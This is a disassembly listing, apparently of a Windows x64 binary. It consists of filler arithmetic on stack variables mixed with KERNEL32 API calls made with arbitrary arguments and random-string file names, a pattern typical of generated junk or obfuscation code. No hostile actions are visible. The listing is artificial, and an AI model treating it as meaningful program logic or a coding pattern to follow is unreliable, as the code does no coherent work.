mov byte [rsp + 0x716], al
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0x140a8], rax
mov dword [rsp + 0x4b7f0], 0x11c
mov rax, qword [rsp + 0x13000]
mov rcx, qword [rsp + 0x131a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [0x140369d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x750]
shl eax, cl
mov rcx, qword [rsp + 0x13a10]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bf8]
movzx ecx, word [rsp + 0x13d8]
xor eax, ecx
mov word [0x140362468], ax
mov eax, dword [rsp + 0x9ba0]
mov dword [rsp + 0x9dd8], eax
mov rax, qword [rsp + 0x13118]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13000]
mov qword [rsp + 0x140b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
lea rax, [rsp + 0x9da0]
mov qword [rsp + 0x140b8], rax
mov rax, qword [rsp + 0x13bc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7770]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3d2]
mov qword [rsp + 0x140c0], rax
mov rax, qword [rsp + 0x138f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1310]
sub eax, ecx
mov word [rsp + 0x1c5c], ax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c40], eax
mov eax, dword [rsp + 0x9ad4]
mov ecx, dword [rsp + 0x5610]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c30], eax
movzx eax, word [rsp + 0x2c64]
mov word [0x140369ea4], ax
movsx eax, byte [rsp + 0x761]
movsx ecx, byte [0x140363efc]
and eax, ecx
mov rcx, qword [rsp + 0x13900]
mov byte [rcx], al
lea rax, [rsp + 0x1e08]
mov qword [rsp + 0x140c8], rax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x75b]
add eax, ecx
mov rcx, qword [rsp + 0x13710]
mov byte [rcx], al
mov rax, qword [0x140369d68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6234]
mov dword [rsp + 0x9ddc], eax
mov dword [rsp + 0x20], 0x203c
mov r9d, 0x36e9
mov r8d, 0x1d6a
mov edx, 0xa8b
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a7c], eax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x5c30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x601c], eax
mov rax, qword [0x140369c58]
mov eax, dword [rax]
mov dword [rsp + 0x9de0], eax
mov edx, 0xec8
mov rcx, qword [rsp + 0x133a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d30], eax
mov rax, qword [rsp + 0x13c68]
mov ecx, dword [rsp + 0x9c08]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x744]
add eax, ecx
mov rcx, qword [rsp + 0x13650]
mov byte [rcx], al
mov rax, qword [0x140369d88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13888]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1403624ac], ax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x140d0], rax
mov eax, dword [rsp + 0x9bbc]
movzx ecx, al
mov eax, dword [rsp + 0x99b4]
sar eax, cl
mov dword [rsp + 0x9dd4], eax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
mov rcx, qword [0x140369d70]
mov qword [rsp + 0x140d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62cc], eax
mov eax, dword [rsp + 0x9b10]
mov ecx, dword [rsp + 0x9960]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a00], eax
movzx eax, byte [rsp + 0x75a]
movzx ecx, byte [rsp + 0x753]
and eax, ecx
mov rcx, qword [rsp + 0x13a90]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.GRS2j4Tudd4ISX1c
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x140e0], rax
lea rax, [rsp + 0x2c24]
mov qword [rsp + 0x140e8], rax
mov rax, qword [rsp + 0x13658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov word [rcx], ax
lea rax, [rsp + 0x71b]
mov qword [rsp + 0x140f0], rax
mov eax, dword [rsp + 0x9a74]
mov ecx, dword [rsp + 0x75c4]
sub ecx, eax
mov eax, ecx
mov dword [0x140369c64], eax
mov eax, dword [rsp + 0x9a5c]
mov ecx, dword [rsp + 0x8f50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c64], eax
lea rax, [rsp + 0x1878]
mov qword [rsp + 0x140f8], rax
movzx eax, byte [rsp + 0x3d2]
mov rcx, qword [rsp + 0x13340]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c20]
mov ecx, dword [rsp + 0x9ab4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132d0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x2998
mov r9d, 0x3b3d
mov r8d, 0x39f6
mov edx, 0x1eb2
mov rcx, qword [rsp + 0x140e0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9dc0], eax
lea rax, [rsp + 0x9b1c]
mov qword [rsp + 0x14100], rax
mov rax, qword [rsp + 0x13ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c88], eax
lea rax, [rsp + 0x9b2c]
mov qword [rsp + 0x14108], rax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
movzx ecx, word [0x1403624a0]
add eax, ecx
mov word [rsp + 0x204c], ax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13650]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363f0f], al
mov eax, dword [rsp + 0x5330]
mov ecx, dword [rsp + 0x9d98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b04], eax
lea rax, [rsp + 0x9d2c]
mov qword [rsp + 0x14110], rax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9de4], eax
mov rax, qword [rsp + 0x13ac0]
mov ecx, dword [rsp + 0x9d58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a88], eax
lea rax, [rsp + 0x9db8]
mov qword [rsp + 0x14118], rax
mov rax, qword [0x140369ca0]
mov ecx, dword [rsp + 0x66b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b38], eax
mov rcx, qword [rsp + 0x12cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9bd4], eax
movsx eax, word [rsp + 0x1640]
mov rcx, qword [rsp + 0x13dc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c20], ax
lea rax, [rsp + 0x559]
mov qword [rsp + 0x14120], rax
mov rax, qword [0x140369d98]
movzx eax, byte [rax]
cdq
mov ecx, 0x3a
idiv ecx
mov rcx, qword [rsp + 0x14068]
mov byte [rcx], al
movzx eax, word [rsp + 0x2be4]
mov word [0x140369ea8], ax
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x14128], rax
lea rdx, [rsp + 0x42cd8]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9de8], eax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9aa8]
shr eax, cl
mov dword [rsp + 0x9d64], eax
movzx eax, word [rsp + 0x288c]
mov word [rsp + 0x2c6c], ax
movzx eax, byte [rsp + 0x755]
movzx ecx, byte [rsp + 0x75a]
xor eax, ecx
mov rcx, qword [rsp + 0x13668]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a70]
mov ecx, dword [rsp + 0x9640]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13160]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9748]
mov qword [rsp + 0x14130], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x12fd8]
mov rcx, qword [rsp + 0x13fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
lea rax, [rsp + 0x6ee8]
mov qword [rsp + 0x14138], rax
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d00]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140369e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x13858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13fd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13980]
mov byte [rcx], al
mov rax, qword [rsp + 0x14128]
mov rcx, qword [rsp + 0x130b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7254], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14140], rax
lea rax, [rsp + 0x9cbc]
mov qword [rsp + 0x14148], rax
mov rax, qword [rsp + 0x13f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x139f8]
mov byte [rcx], al
lea rax, [rsp + 0x1ed0]
mov qword [rsp + 0x14150], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9938], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov word [rsp + 0x10d4], ax
lea rax, [rsp + 0x9a9c]
mov qword [rsp + 0x14158], rax
lea rax, [rsp + 0x5b9c]
mov qword [0x140369eb0], rax
lea rdx, [rsp + 0x42e28]
mov rcx, qword [rsp + 0x134a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
mov rax, qword [rsp + 0x13e50]
mov rcx, qword [rsp + 0x13cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x56e4], eax
lea rax, [rsp + 0x9b6c]
mov qword [rsp + 0x14160], rax
mov rax, qword [rsp + 0x13880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9124], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x137d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140f8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13508]
mov word [rcx], ax
movzx eax, byte [0x140363efe]
mov rcx, qword [rsp + 0x13200]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2bd], al
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x9c70]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bd0]
mov dword [rsp + 0x9dec], eax
mov eax, dword [rsp + 0x9d7c]
movzx ecx, al
mov eax, dword [rsp + 0x9aa4]
shl eax, cl
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
mov edx, 0x139e
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9afc], eax
mov rax, qword [rsp + 0x13d98]
mov rcx, qword [rsp + 0x13de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1403624b0], eax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x14168], rax
mov rax, qword [0x140369d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x752]
and eax, ecx
mov rcx, qword [rsp + 0x13a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
sub eax, ecx
mov byte [rsp + 0x731], al
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c20]
add eax, ecx
mov word [rsp + 0x11d8], ax
mov rax, qword [rsp + 0x13948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.xYPbzF5ST
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14170], rax
lea rax, [rsp + 0x9c90]
mov qword [rsp + 0x14178], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13b20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x734]
movzx ecx, byte [rsp + 0x75a]
or eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a00]
mov ecx, dword [rsp + 0x9998]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369dfc], eax
lea rax, [rsp + 0x9da4]
mov qword [rsp + 0x14180], rax
mov rax, qword [rsp + 0x13628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8860]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99b4], eax
mov rax, qword [rsp + 0x13bc0]
mov eax, dword [rax]
mov dword [rsp + 0x9df0], eax
movzx eax, word [rsp + 0x1878]
movzx ecx, word [rsp + 0x2c3c]
and eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74d]
movzx ecx, byte [rsp + 0x75e]
add eax, ecx
mov rcx, qword [rsp + 0x13120]
mov byte [rcx], al
lea rax, [0x140362470]
mov qword [rsp + 0x14188], rax
lea rcx, [rsp + 0x4b5b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9ca8], eax
mov eax, dword [rsp + 0x77cc]
mov rcx, qword [rsp + 0x13780]
mov qword [rsp + 0x14190], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14190]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
lea rax, [rsp + 0x9d90]
mov qword [rsp + 0x14198], rax
mov rax, qword [rsp + 0x13cb8]
mov eax, dword [rax]
mov dword [0x140369eb8], eax
mov eax, dword [rsp + 0x9bb0]
mov ecx, dword [0x140369de0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b98], eax
movsx eax, word [rsp + 0x2b74]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
lea rax, [rsp + 0x491]
mov qword [rsp + 0x141a0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x141a8], rax
mov rax, qword [0x140369c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b8c]
or eax, ecx
mov rcx, qword [rsp + 0x13898]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74c]
mov byte [rsp + 0x765], al
mov rax, qword [rsp + 0x13338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x75c4], eax
mov rax, qword [rsp + 0x14038]
mov rcx, qword [rsp + 0x13ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x938c], eax
movzx eax, byte [rsp + 0x13b]
movzx ecx, byte [rsp + 0x764]
sub eax, ecx
mov byte [rsp + 0x1c8], al
mov rax, qword [0x140369df0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369c80]
mov word [rcx], ax
mov rax, qword [rsp + 0x138c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ee8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9de4], eax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x141b0], rax
mov rax, qword [rsp + 0x14028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84ac], eax
lea rax, [rsp + 0x9aec]
mov qword [rsp + 0x141b8], rax
movzx eax, byte [rsp + 0x752]
imul eax, eax, 0x2f
mov byte [rsp + 0x732], al
movzx eax, word [0x140369c90]
movzx ecx, word [rsp + 0x1384]
or eax, ecx
mov word [rsp + 0x2b90], ax
lea rax, [rsp + 0x938c]
mov qword [rsp + 0x141c0], rax
mov rax, qword [rsp + 0x13a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c30], eax
movsx eax, byte [rsp + 0x2d1]
mov rcx, qword [rsp + 0x13a40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363edd], al
mov rax, qword [rsp + 0x13fc8]
movzx eax, word [rax]
mov word [rsp + 0x2c70], ax
lea rdx, [rsp + 0x42d80]
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9df4], eax
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1878]
sub eax, ecx
mov rcx, qword [rsp + 0x137b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5cb]
movzx ecx, byte [rsp + 0x702]
sar eax, cl
mov byte [rsp + 0x758], al
mov rax, qword [rsp + 0x13338]
mov ecx, dword [rsp + 0x9cc8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6438], eax
mov rax, qword [rsp + 0x13948]
mov eax, dword [rax]
mov rcx, qword [0x140369d28]
mov qword [rsp + 0x141c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
lea rax, [rsp + 0x9d50]
mov qword [rsp + 0x141d0], rax
mov rax, qword [rsp + 0x139d8]
mov ecx, dword [rsp + 0x9bac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62f0], eax
lea rax, [0x140362470]
mov qword [rsp + 0x141d8], rax
movzx eax, word [rsp + 0x1e08]
mov rcx, qword [rsp + 0x13100]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e60]
mov word [rcx], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b6d0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x13a10]
movzx eax, byte [rax]
mov byte [0x140363f5c], al
mov rax, qword [rsp + 0x12cf8]
mov ecx, dword [0x140369c70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99b8], eax
mov eax, dword [rsp + 0x9ad4]
mov dword [rsp + 0x9df8], eax
mov rax, qword [rsp + 0x13f78]
mov rcx, qword [rsp + 0x13530]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7770]
mov dword [rsp + 0x9dfc], eax
movzx eax, byte [rsp + 0x2bd]
mov rcx, qword [rsp + 0x13ec0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13308]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c50]
sub eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x130f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bd0]
sub eax, ecx
mov word [rsp + 0x2858], ax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
and eax, ecx
mov rcx, qword [rsp + 0x13788]
mov byte [rcx], al
mov rax, qword [0x140369e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67d8]
or ecx, eax
mov eax, ecx
mov dword [0x1403624b4], eax
mov eax, dword [rsp + 0x59cc]
mov dword [rsp + 0x9e00], eax
movzx eax, byte [rsp + 0x74f]
movzx ecx, byte [rsp + 0x729]
sub eax, ecx
mov byte [rsp + 0x703], al
movzx eax, word [rsp + 0x1bd4]
movzx ecx, word [0x140369c88]
shl eax, cl
mov rcx, qword [rsp + 0x13888]
mov word [rcx], ax
lea rax, [rsp + 0x8ac4]
mov qword [rsp + 0x141e0], rax
mov eax, dword [rsp + 0x9db4]
movzx ecx, al
mov eax, dword [rsp + 0x9354]
shr eax, cl
mov dword [rsp + 0x9d78], eax
mov rcx, qword [rsp + 0x13240]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9950]
mov qword [rsp + 0x141e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.v6bdxtlhLVko6NSplcHPJh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x141f0], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a60], eax
mov rax, qword [rsp + 0x13320]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x734]
and eax, ecx
mov rcx, qword [rsp + 0x130b8]
mov byte [rcx], al
mov rax, qword [0x140369b80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x97b4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8df8], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [0x140369eb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x131a8]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0x5c48]
mov dword [rsp + 0x9e04], eax
mov eax, dword [rsp + 0x9b64]
mov ecx, dword [rsp + 0x9c6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13bf0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov dword [rsp + 0x9e08], eax
movsx eax, word [0x14036247c]
mov rcx, qword [rsp + 0x12ec8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13468]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.mcN_tWbfrNn0turzwBRyw4_vQshrfF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x141f8], rax
mov rax, qword [rsp + 0x13788]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13bd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x759], al
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
movzx ecx, word [0x140362468]
sub eax, ecx
mov word [rsp + 0x19a0], ax
lea rdx, [rsp + 0x42db8]
mov rcx, qword [rsp + 0x141f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a68], eax
lea rax, [rsp + 0x729]
mov qword [0x140369ec0], rax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cb0], eax
mov rax, qword [0x140369bd0]
mov eax, dword [rax]
mov dword [rsp + 0x9e0c], eax
mov rax, qword [rsp + 0x13848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13360]
mov word [rcx], ax
mov rax, qword [rsp + 0x134d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x729]
or eax, ecx
mov rcx, qword [rsp + 0x12e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d40]
mov eax, dword [rax]
mov rcx, qword [0x140369dc8]
mov qword [rsp + 0x14200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14200]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x592c], eax
mov rax, qword [rsp + 0x13358]
mov ecx, dword [rsp + 0x9748]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9dec], eax
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x9cf4]
mov dword [rsp + 0x9e10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x9a90]
mov rcx, qword [0x140369d30]
mov qword [rsp + 0x14208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14208]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8340], eax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140369d48]
mov byte [rcx], al
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x25a0]
and eax, ecx
mov word [rsp + 0x288c], ax
lea rax, [rsp + 0x9ba8]
mov qword [rsp + 0x14210], rax
mov eax, dword [rsp + 0x78f4]
mov ecx, dword [rsp + 0x92e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fd8]
mov dword [rcx], eax
movzx eax, byte [0x140363f1e]
mov byte [rsp + 0x766], al
movsx eax, word [rsp + 0x28b4]
movsx ecx, word [rsp + 0x1640]
or eax, ecx
mov word [rsp + 0x2094], ax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x14218], rax
movzx eax, byte [rsp + 0x763]
mov rcx, qword [rsp + 0x13170]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x14068]
mov byte [rcx], al
mov rax, qword [rsp + 0x13748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa0]
mov rcx, qword [rsp + 0x13690]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140362480], eax
lea rax, [0x140369c68]
